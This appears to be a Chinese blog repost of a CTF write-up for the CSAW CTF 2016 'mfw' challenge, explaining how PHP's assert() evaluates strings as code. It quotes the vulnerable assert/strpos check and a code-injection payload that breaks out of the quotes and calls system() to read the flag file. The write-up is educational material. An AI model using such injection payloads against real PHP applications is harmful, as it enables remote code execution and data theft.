从CSAW CTF 2016 mfw(深入理解assert+strops)

从一道ctf题(CSAW CTF 2016 mfw)深入理解assert+strops
从CSAW CTF 2016 mfw(深入理解assert+strops)_第1张图片
从git源码泄露入手,查看源码可知page没有做任何过滤


strops():
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE.
assert():

     assert ( mixed $assertion [, Throwable $exception ] ) : bool
 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

断言这个功能应该只被用来调试。 你应该用于完整性检查时测试条件是否始终应该为 TRUE,来指示某些程序错误,或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)。

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

在网上看到某博主的payload:

flag','..')+or+system('cat+templates/flag.php');//

assert语句里的strops括号内是单引号,将','..'闭合,而后才能执行系统命令获取flag.php,最后将die语句注释。

你可能感兴趣的:(writeup,php)